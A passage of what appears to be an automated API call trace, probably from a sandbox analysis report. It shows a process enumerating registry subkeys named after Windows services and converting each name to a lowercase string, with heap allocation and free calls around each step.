cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.780] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.780] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.780] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.781] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1da8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.781] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.781] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0244.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.781] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1970, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.782] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.782] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.782] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0244.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.783] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0244.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0244.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.783] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0244.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0244.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.783] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0244.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0244.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.783] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0244.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0244.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.786] WideCharToMultiByte (in: 